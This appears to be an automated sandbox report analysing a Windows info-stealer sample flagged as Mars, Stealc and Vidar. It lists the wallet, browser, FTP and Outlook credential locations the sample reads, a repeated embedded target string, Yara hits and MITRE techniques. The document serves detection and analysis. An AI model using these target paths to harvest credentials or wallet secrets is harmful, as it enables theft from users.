Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1868074947.0000000000C4A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1869262770.0000000001D10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7156, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 12.2.2e80f9dd27.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1993800397.0000000000B01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1868074947.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1869262770.0000000001CBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7156, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2e80f9dd27.exe PID: 7924, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 12.2.2e80f9dd27.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.b00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.1993800397.0000000000B01000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1868074947.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7156, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	4 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
